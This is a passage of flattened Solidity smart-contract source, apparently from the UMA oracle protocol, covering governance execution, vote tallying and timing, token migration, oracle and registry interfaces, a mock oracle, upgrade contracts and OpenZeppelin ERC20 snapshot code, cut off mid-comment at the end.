https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31 // solhint-disable-next-line no-inline-assembly bool success; assembly { let inputData := add(data, 0x20) let inputDataSize := mload(data) success := call(gas(), to, value, inputData, inputDataSize, 0, 0) } return success; } function _getOracle() private view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } // Returns a UTF-8 identifier representing a particular admin proposal. // The identifier is of the form "Admin n", where n is the proposal id provided. function _constructIdentifier(uint256 id) internal pure returns (bytes32) { bytes32 bytesId = _uintToUtf8(id); return _addPrefix(bytesId, "Admin ", 6); } // This method converts the integer `v` into a base-10, UTF-8 representation stored in a `bytes32` type. // If the input cannot be represented by 32 base-10 digits, it returns only the highest 32 digits. // This method is based off of this code: https://ethereum.stackexchange.com/a/6613/47801. function _uintToUtf8(uint256 v) internal pure returns (bytes32) { bytes32 ret; if (v == 0) { // Handle 0 case explicitly. ret = "0"; } else { // Constants. uint256 bitsPerByte = 8; uint256 base = 10; // Note: the output should be base-10. The below implementation will not work for bases > 10. uint256 utf8NumberOffset = 48; while (v > 0) { // Downshift the entire bytes32 to allow the new digit to be added at the "front" of the bytes32, which // translates to the beginning of the UTF-8 representation. ret = ret >> bitsPerByte; // Separate the last digit that remains in v by modding by the base of desired output representation. uint256 leastSignificantDigit = v % base; // Digits 0-9 are represented by 48-57 in UTF-8, so an offset must be added to create the character. bytes32 utf8Digit = bytes32(leastSignificantDigit + utf8NumberOffset); // The top byte of ret has already been cleared to make room for the new digit. // Upshift by 31 bytes to put it in position, and OR it with ret to leave the other characters untouched. ret |= utf8Digit << (31 * bitsPerByte); // Divide v by the base to remove the digit that was just added. v /= base; } } return ret; } // This method takes two UTF-8 strings represented as bytes32 and outputs one as a prefixed by the other. // `input` is the UTF-8 that should have the prefix prepended. // `prefix` is the UTF-8 that should be prepended onto input. // `prefixLength` is number of UTF-8 characters represented by `prefix`. // Notes: // 1. If the resulting UTF-8 is larger than 32 characters, then only the first 32 characters will be represented // by the bytes32 output. // 2. If `prefix` has more characters than `prefixLength`, the function will produce an invalid result. function _addPrefix( bytes32 input, bytes32 prefix, uint256 prefixLength ) internal pure returns (bytes32) { // Downshift `input` to open space at the "front" of the bytes32 bytes32 shiftedInput = input >> (prefixLength * 8); return shiftedInput | prefix; } } library ResultComputation { using FixedPoint for FixedPoint.Unsigned; /**************************************** * INTERNAL LIBRARY DATA STRUCTURE * ****************************************/ struct Data { // Maps price to number of tokens that voted for that price. mapping(int256 => FixedPoint.Unsigned) voteFrequency; // The total votes that have been added. FixedPoint.Unsigned totalVotes; // The price that is the current mode, i.e., the price with the highest frequency in `voteFrequency`. int256 currentMode; } /**************************************** * VOTING FUNCTIONS * ****************************************/ /** * @notice Adds a new vote to be used when computing the result. * @param data contains information to which the vote is applied. * @param votePrice value specified in the vote for the given `numberTokens`. * @param numberTokens number of tokens that voted on the `votePrice`. */ function addVote( Data storage data, int256 votePrice, FixedPoint.Unsigned memory numberTokens ) internal { data.totalVotes = data.totalVotes.add(numberTokens); data.voteFrequency[votePrice] = data.voteFrequency[votePrice].add(numberTokens); if ( votePrice != data.currentMode && data.voteFrequency[votePrice].isGreaterThan(data.voteFrequency[data.currentMode]) ) { data.currentMode = votePrice; } } /**************************************** * VOTING STATE GETTERS * ****************************************/ /** * @notice Returns whether the result is resolved, and if so, what value it resolved to. * @dev `price` should be ignored if `isResolved` is false. * @param data contains information against which the `minVoteThreshold` is applied. * @param minVoteThreshold min (exclusive) number of tokens that must have voted for the result to be valid. Can be * used to enforce a minimum voter participation rate, regardless of how the votes are distributed. * @return isResolved indicates if the price has been resolved correctly. * @return price the price that the dvm resolved to. */ function getResolvedPrice(Data storage data, FixedPoint.Unsigned memory minVoteThreshold) internal view returns (bool isResolved, int256 price) { FixedPoint.Unsigned memory modeThreshold = FixedPoint.fromUnscaledUint(50).div(100); if ( data.totalVotes.isGreaterThan(minVoteThreshold) && data.voteFrequency[data.currentMode].div(data.totalVotes).isGreaterThan(modeThreshold) ) { // `modeThreshold` and `minVoteThreshold` are exceeded, so the current mode is the resolved price. isResolved = true; price = data.currentMode; } else { isResolved = false; } } /** * @notice Checks whether a `voteHash` is considered correct. * @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`. * @param data contains information against which the `voteHash` is checked. * @param voteHash committed hash submitted by the voter. * @return bool true if the vote was correct. */ function wasVoteCorrect(Data storage data, bytes32 voteHash) internal view returns (bool) { return voteHash == keccak256(abi.encode(data.currentMode)); } /** * @notice Gets the total number of tokens whose votes are considered correct. * @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`. * @param data contains all votes against which the correctly voted tokens are counted. * @return FixedPoint.Unsigned which indicates the frequency of the correctly voted tokens. */ function getTotalCorrectlyVotedTokens(Data storage data) internal view returns (FixedPoint.Unsigned memory) { return data.voteFrequency[data.currentMode]; } } contract TokenMigrator { using FixedPoint for FixedPoint.Unsigned; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ VotingToken public oldToken; ExpandedIERC20 public newToken; uint256 public snapshotId; FixedPoint.Unsigned public rate; mapping(address => bool) public hasMigrated; /** * @notice Construct the TokenMigrator contract. * @dev This function triggers the snapshot upon which all migrations will be based. * @param _rate the number of old tokens it takes to generate one new token. * @param _oldToken address of the token being migrated from. * @param _newToken address of the token being migrated to. */ constructor( FixedPoint.Unsigned memory _rate, address _oldToken, address _newToken ) public { // Prevents division by 0 in migrateTokens(). // Also it doesn’t make sense to have “0 old tokens equate to 1 new token”. require(_rate.isGreaterThan(0), "Rate can't be 0"); rate = _rate; newToken = ExpandedIERC20(_newToken); oldToken = VotingToken(_oldToken); snapshotId = oldToken.snapshot(); } /** * @notice Migrates the tokenHolder's old tokens to new tokens. * @dev This function can only be called once per `tokenHolder`. Anyone can call this method * on behalf of any other token holder since there is no disadvantage to receiving the tokens earlier. * @param tokenHolder address of the token holder to migrate. */ function migrateTokens(address tokenHolder) external { require(!hasMigrated[tokenHolder], "Already migrated tokens"); hasMigrated[tokenHolder] = true; FixedPoint.Unsigned memory oldBalance = FixedPoint.Unsigned(oldToken.balanceOfAt(tokenHolder, snapshotId)); if (!oldBalance.isGreaterThan(0)) { return; } FixedPoint.Unsigned memory newBalance = oldBalance.div(rate); require(newToken.mint(tokenHolder, newBalance.rawValue), "Mint failed"); } } library VoteTiming { using SafeMath for uint256; struct Data { uint256 phaseLength; } /** * @notice Initializes the data object. Sets the phase length based on the input. */ function init(Data storage data, uint256 phaseLength) internal { // This should have a require message but this results in an internal Solidity error. require(phaseLength > 0); data.phaseLength = phaseLength; } /** * @notice Computes the roundID based off the current time as floor(timestamp/roundLength). * @dev The round ID depends on the global timestamp but not on the lifetime of the system. * The consequence is that the initial round ID starts at an arbitrary number (that increments, as expected, for subsequent rounds) instead of zero or one. * @param data input data object. * @param currentTime input unix timestamp used to compute the current roundId. * @return roundId defined as a function of the currentTime and `phaseLength` from `data`. */ function computeCurrentRoundId(Data storage data, uint256 currentTime) internal view returns (uint256) { uint256 roundLength = data.phaseLength.mul(uint256(VotingInterface.Phase.NUM_PHASES_PLACEHOLDER)); return currentTime.div(roundLength); } /** * @notice compute the round end time as a function of the round Id. * @param data input data object. * @param roundId uniquely identifies the current round. * @return timestamp unix time of when the current round will end. */ function computeRoundEndTime(Data storage data, uint256 roundId) internal view returns (uint256) { uint256 roundLength = data.phaseLength.mul(uint256(VotingInterface.Phase.NUM_PHASES_PLACEHOLDER)); return roundLength.mul(roundId.add(1)); } /** * @notice Computes the current phase based only on the current time. * @param data input data object. * @param currentTime input unix timestamp used to compute the current roundId. * @return current voting phase based on current time and vote phases configuration. */ function computeCurrentPhase(Data storage data, uint256 currentTime) internal view returns (VotingInterface.Phase) { // This employs some hacky casting. We could make this an if-statement if we're worried about type safety. return VotingInterface.Phase( currentTime.div(data.phaseLength).mod(uint256(VotingInterface.Phase.NUM_PHASES_PLACEHOLDER)) ); } } contract GovernorTest is Governor { constructor(address _timerAddress) public Governor(address(0), 0, _timerAddress) {} function addPrefix( bytes32 input, bytes32 prefix, uint256 prefixLength ) external pure returns (bytes32) { return _addPrefix(input, prefix, prefixLength); } function uintToUtf8(uint256 v) external pure returns (bytes32 ret) { return _uintToUtf8(v); } function constructIdentifier(uint256 id) external pure returns (bytes32 identifier) { return _constructIdentifier(id); } } contract ResultComputationTest { using ResultComputation for ResultComputation.Data; ResultComputation.Data public data; function wrapAddVote(int256 votePrice, uint256 numberTokens) external { data.addVote(votePrice, FixedPoint.Unsigned(numberTokens)); } function wrapGetResolvedPrice(uint256 minVoteThreshold) external view returns (bool isResolved, int256 price) { return data.getResolvedPrice(FixedPoint.Unsigned(minVoteThreshold)); } function wrapWasVoteCorrect(bytes32 revealHash) external view returns (bool) { return data.wasVoteCorrect(revealHash); } function wrapGetTotalCorrectlyVotedTokens() external view returns (uint256) { return data.getTotalCorrectlyVotedTokens().rawValue; } } contract VoteTimingTest { using VoteTiming for VoteTiming.Data; VoteTiming.Data public voteTiming; constructor(uint256 phaseLength) public { wrapInit(phaseLength); } function wrapComputeCurrentRoundId(uint256 currentTime) external view returns (uint256) { return voteTiming.computeCurrentRoundId(currentTime); } function wrapComputeCurrentPhase(uint256 currentTime) external view returns (VotingInterface.Phase) { return voteTiming.computeCurrentPhase(currentTime); } function wrapInit(uint256 phaseLength) public { voteTiming.init(phaseLength); } } interface AdministrateeInterface { /** * @notice Initiates the shutdown process, in case of an emergency. */ function emergencyShutdown() external; /** * @notice A core contract method called independently or as a part of other financial contract transactions. * @dev It pays fees and moves money between margin accounts to make sure they reflect the NAV of the contract. */ function remargin() external; } interface FinderInterface { /** * @notice Updates the address of the contract that implements `interfaceName`. * @param interfaceName bytes32 encoding of the interface name that is either changed or registered. * @param implementationAddress address of the deployed contract that implements the interface. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external; /** * @notice Gets the address of the contract that implements the given `interfaceName`. * @param interfaceName queried interface. * @return implementationAddress address of the deployed contract that implements the interface. */ function getImplementationAddress(bytes32 interfaceName) external view returns (address); } interface IdentifierWhitelistInterface { /** * @notice Adds the provided identifier as a supported identifier. * @dev Price requests using this identifier will succeed after this call. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. */ function addSupportedIdentifier(bytes32 identifier) external; /** * @notice Removes the identifier from the whitelist. * @dev Price requests using this identifier will no longer succeed after this call. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. */ function removeSupportedIdentifier(bytes32 identifier) external; /** * @notice Checks whether an identifier is on the whitelist. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. * @return bool if the identifier is supported (or not). */ function isIdentifierSupported(bytes32 identifier) external view returns (bool); } interface OracleInterface { /** * @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. */ function requestPrice(bytes32 identifier, uint256 time) external; /** * @notice Whether the price for `identifier` and `time` is available. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @return bool if the DVM has resolved to a price for the given identifier and timestamp. */ function hasPrice(bytes32 identifier, uint256 time) external view returns (bool); /** * @notice Gets the price for `identifier` and `time` if it has already been requested and resolved. * @dev If the price is not available, the method reverts. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @return int256 representing the resolved price for the given identifier and timestamp. */ function getPrice(bytes32 identifier, uint256 time) external view returns (int256); } interface RegistryInterface { /** * @notice Registers a new contract. * @dev Only authorized contract creators can call this method. * @param parties an array of addresses who become parties in the contract. * @param contractAddress defines the address of the deployed contract. */ function registerContract(address[] calldata parties, address contractAddress) external; /** * @notice Returns whether the contract has been registered with the registry. * @dev If it is registered, it is an authorized participant in the UMA system. * @param contractAddress address of the contract. * @return bool indicates whether the contract is registered. */ function isContractRegistered(address contractAddress) external view returns (bool); /** * @notice Returns a list of all contracts that are associated with a particular party. * @param party address of the party. * @return an array of the contracts the party is registered to. */ function getRegisteredContracts(address party) external view returns (address[] memory); /** * @notice Returns all registered contracts. * @return all registered contract addresses within the system. */ function getAllRegisteredContracts() external view returns (address[] memory); /** * @notice Adds a party to the calling contract. * @dev msg.sender must be the contract to which the party member is added. * @param party address to be added to the contract. */ function addPartyToContract(address party) external; /** * @notice Removes a party member to the calling contract. * @dev msg.sender must be the contract to which the party member is added. * @param party address to be removed from the contract. */ function removePartyFromContract(address party) external; /** * @notice checks if an address is a party in a contract. * @param party party to check. * @param contractAddress address to check against the party. * @return bool indicating if the address is a party of the contract. */ function isPartyMemberOfContract(address party, address contractAddress) external view returns (bool); } interface StoreInterface { /** * @notice Pays Oracle fees in ETH to the store. * @dev To be used by contracts whose margin currency is ETH. */ function payOracleFees() external payable; /** * @notice Pays oracle fees in the margin currency, erc20Address, to the store. * @dev To be used if the margin currency is an ERC20 token rather than ETH. * @param erc20Address address of the ERC20 token used to pay the fee. * @param amount number of tokens to transfer. An approval for at least this amount must exist. */ function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external; /** * @notice Computes the regular oracle fees that a contract should pay for a period. * @param startTime defines the beginning time from which the fee is paid. * @param endTime end time until which the fee is paid. * @param pfc "profit from corruption", or the maximum amount of margin currency that a * token sponsor could extract from the contract through corrupting the price feed in their favor. * @return regularFee amount owed for the duration from start to end time for the given pfc. * @return latePenalty for paying the fee after the deadline. */ function computeRegularFee( uint256 startTime, uint256 endTime, FixedPoint.Unsigned calldata pfc ) external view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty); /** * @notice Computes the final oracle fees that a contract should pay at settlement. * @param currency token used to pay the final fee. * @return finalFee amount due. */ function computeFinalFee(address currency) external view returns (FixedPoint.Unsigned memory); } abstract contract VotingInterface { struct PendingRequest { bytes32 identifier; uint256 time; } // Captures the necessary data for making a commitment. // Used as a parameter when making batch commitments. // Not used as a data structure for storage. struct Commitment { bytes32 identifier; uint256 time; bytes32 hash; bytes encryptedVote; } // Captures the necessary data for revealing a vote. // Used as a parameter when making batch reveals. // Not used as a data structure for storage. struct Reveal { bytes32 identifier; uint256 time; int256 price; int256 salt; } // Note: the phases must be in order. Meaning the first enum value must be the first phase, etc. // `NUM_PHASES_PLACEHOLDER` is to get the number of phases. It isn't an actual phase, and it should always be last. enum Phase { Commit, Reveal, NUM_PHASES_PLACEHOLDER } /** * @notice Commit a vote for a price request for `identifier` at `time`. * @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase. * Commits can be changed. * @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior, * voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then * they can determine the vote pre-reveal. * @param identifier uniquely identifies the committed vote. EG BTC/USD price pair. * @param time unix timestamp of the price being voted on. * @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`. */ function commitVote( bytes32 identifier, uint256 time, bytes32 hash ) external virtual; /** * @notice Submit a batch of commits in a single transaction. * @dev Using `encryptedVote` is optional. If included then commitment is stored on chain. * Look at `project-root/common/Constants.js` for the tested maximum number of * commitments that can fit in one transaction. * @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(Commitment[] calldata commits) external virtual; /** * @notice snapshot the current round's token balances and lock in the inflation rate and GAT. * @dev This function can be called multiple times but each round will only every have one snapshot at the * time of calling `_freezeRoundVariables`. * @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the * snapshot. */ function snapshotCurrentRound(bytes calldata signature) external virtual; /** * @notice Reveal a previously committed vote for `identifier` at `time`. * @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash` * that `commitVote()` was called with. Only the committer can reveal their vote. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price is being voted on. * @param price voted on during the commit phase. * @param salt value used to hide the commitment price during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, int256 salt ) external virtual; /** * @notice Reveal multiple votes in a single transaction. * Look at `project-root/common/Constants.js` for the tested maximum number of reveals. * that can fit in one transaction. * @dev For more information on reveals, review the comment for `revealVote`. * @param reveals array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(Reveal[] calldata reveals) external virtual; /** * @notice Gets the queries that are being voted on this round. * @return pendingRequests `PendingRequest` array containing identifiers * and timestamps for all pending requests. */ function getPendingRequests() external virtual view returns (PendingRequest[] memory); /** * @notice Returns the current voting phase, as a function of the current time. * @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }. */ function getVotePhase() external virtual view returns (Phase); /** * @notice Returns the current round ID, as a function of the current time. * @return uint256 representing the unique round ID. */ function getCurrentRoundId() external virtual view returns (uint256); /** * @notice Retrieves rewards owed for a set of resolved price requests. * @dev Can only retrieve rewards if calling for a valid round and if the * call is done within the timeout threshold (not expired). * @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller. * @param roundId the round from which voting rewards will be retrieved from. * @param toRetrieve array of PendingRequests which rewards are retrieved from. * @return total amount of rewards returned to the voter. */ function retrieveRewards( address voterAddress, uint256 roundId, PendingRequest[] memory toRetrieve ) public virtual returns (FixedPoint.Unsigned memory); } contract MockOracle is OracleInterface, Testable { // Represents an available price. Have to keep a separate bool to allow for price=0. struct Price { bool isAvailable; int256 price; // Time the verified price became available. uint256 verifiedTime; } // The two structs below are used in an array and mapping to keep track of prices that have been requested but are // not yet available. struct QueryIndex { bool isValid; uint256 index; } // Represents a (identifier, time) point that has been queried. struct QueryPoint { bytes32 identifier; uint256 time; } // Reference to the Finder. FinderInterface private finder; // Conceptually we want a (time, identifier) -> price map. mapping(bytes32 => mapping(uint256 => Price)) private verifiedPrices; // The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements. // Can we generalize this data structure? mapping(bytes32 => mapping(uint256 => QueryIndex)) private queryIndices; QueryPoint[] private requestedPrices; constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); } // Enqueues a request (if a request isn't already present) for the given (identifier, time) pair. function requestPrice(bytes32 identifier, uint256 time) external override { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; if (!lookup.isAvailable && !queryIndices[identifier][time].isValid) { // New query, enqueue it for review. queryIndices[identifier][time] = QueryIndex(true, requestedPrices.length); requestedPrices.push(QueryPoint(identifier, time)); } } // Pushes the verified price for a requested query. function pushPrice( bytes32 identifier, uint256 time, int256 price ) external { verifiedPrices[identifier][time] = Price(true, price, getCurrentTime()); QueryIndex storage queryIndex = queryIndices[identifier][time]; require(queryIndex.isValid, "Can't push prices that haven't been requested"); // Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with // the contents of the last index (unless it is the last index). uint256 indexToReplace = queryIndex.index; delete queryIndices[identifier][time]; uint256 lastIndex = requestedPrices.length - 1; if (lastIndex != indexToReplace) { QueryPoint storage queryToCopy = requestedPrices[lastIndex]; queryIndices[queryToCopy.identifier][queryToCopy.time].index = indexToReplace; requestedPrices[indexToReplace] = queryToCopy; } } // Checks whether a price has been resolved. function hasPrice(bytes32 identifier, uint256 time) external override view returns (bool) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; return lookup.isAvailable; } // Gets a price that has already been resolved. function getPrice(bytes32 identifier, uint256 time) external override view returns (int256) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; require(lookup.isAvailable); return lookup.price; } // Gets the queries that still need verified prices. function getPendingQueries() external view returns (QueryPoint[] memory) { return requestedPrices; } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } } contract Umip15Upgrader { // Existing governor is the only one who can initiate the upgrade. address public governor; // Existing Voting contract needs to be informed of the address of the new Voting contract. Voting public existingVoting; // New governor will be the new owner of the finder. // Finder contract to push upgrades to. Finder public finder; // Addresses to upgrade. address public newVoting; constructor( address _governor, address _existingVoting, address _newVoting, address _finder ) public { governor = _governor; existingVoting = Voting(_existingVoting); newVoting = _newVoting; finder = Finder(_finder); } function upgrade() external { require(msg.sender == governor, "Upgrade can only be initiated by the existing governor."); // Change the addresses in the Finder. finder.changeImplementationAddress(OracleInterfaces.Oracle, newVoting); // Set current Voting contract to migrated. existingVoting.setMigrated(newVoting); // Transfer back ownership of old voting contract and the finder to the governor. existingVoting.transferOwnership(governor); finder.transferOwnership(governor); } } contract Umip3Upgrader { // Existing governor is the only one who can initiate the upgrade. address public existingGovernor; // Existing Voting contract needs to be informed of the address of the new Voting contract. Voting public existingVoting; // New governor will be the new owner of the finder. address public newGovernor; // Finder contract to push upgrades to. Finder public finder; // Addresses to upgrade. address public voting; address public identifierWhitelist; address public store; address public financialContractsAdmin; address public registry; constructor( address _existingGovernor, address _existingVoting, address _finder, address _voting, address _identifierWhitelist, address _store, address _financialContractsAdmin, address _registry, address _newGovernor ) public { existingGovernor = _existingGovernor; existingVoting = Voting(_existingVoting); finder = Finder(_finder); voting = _voting; identifierWhitelist = _identifierWhitelist; store = _store; financialContractsAdmin = _financialContractsAdmin; registry = _registry; newGovernor = _newGovernor; } function upgrade() external { require(msg.sender == existingGovernor, "Upgrade can only be initiated by the existing governor."); // Change the addresses in the Finder. finder.changeImplementationAddress(OracleInterfaces.Oracle, voting); finder.changeImplementationAddress(OracleInterfaces.IdentifierWhitelist, identifierWhitelist); finder.changeImplementationAddress(OracleInterfaces.Store, store); finder.changeImplementationAddress(OracleInterfaces.FinancialContractsAdmin, financialContractsAdmin); finder.changeImplementationAddress(OracleInterfaces.Registry, registry); // Transfer the ownership of the Finder to the new Governor now that all the addresses have been updated. finder.transferOwnership(newGovernor); // Inform the existing Voting contract of the address of the new Voting contract and transfer its // ownership to the new governor to allow for any future changes to the migrated contract. existingVoting.setMigrated(voting); existingVoting.transferOwnership(newGovernor); } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract ERC20Snapshot is ERC20 { // Inspired by Jordi Baylina's MiniMeToken to record historical balances: // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol using SafeMath for uint256; using Arrays for uint256[]; using Counters for Counters.Counter; // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a // Snapshot struct, but that would impede usage of functions that work on an array. struct Snapshots { uint256[] ids; uint256[] values; } mapping (address => Snapshots) private _accountBalanceSnapshots; Snapshots private _totalSupplySnapshots; // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid. Counters.Counter private _currentSnapshotId; /** * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created. */ event Snapshot(uint256 id); /** * @dev Creates a new snapshot and returns its snapshot id. * * Emits a {Snapshot} event that contains the same id. * * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a * set of accounts, for example using {AccessControl}, or it may be open to the public. * * [WARNING] * ==== * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking, * you must consider that it can potentially be used by attackers in two ways. * * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs * section above. * * We haven't measured the actual numbers; if this is something you're interested in 